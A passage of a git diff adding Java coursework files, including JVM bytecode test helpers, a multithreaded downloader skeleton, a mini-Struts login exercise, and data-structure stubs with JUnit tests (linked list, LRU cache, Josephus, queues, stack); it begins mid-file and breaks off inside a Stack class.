+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/List.java b/group23/563253496/week7_stack/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..45740e6d57
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coding.basic.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..994a241a3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		
+	}
+	
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..1ac659da3d
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,5 @@
+package com.coding.basic.queue;
+
+public class CircleQueue {
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..d629d847f4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,19 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		return null;
+	}
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..bbd4715ca6
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,40 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+
+
+    public boolean isEmpty() {
+       return false;
+    }
+
+
+    
+    public int size() {
+       return -1;
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+ }
+
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..de597befb4
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.ArrayList;
+
+/**
+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+	private int count;
+	private ArrayList elementData;
+
+	public Stack() {
+		this.count = 0;
+		elementData = new ArrayList();
+	}
+
+	public void push(Object o) {
+		count++;
+		elementData.add(o);
+
+	}
+
+	public Object pop() {
+		count--;
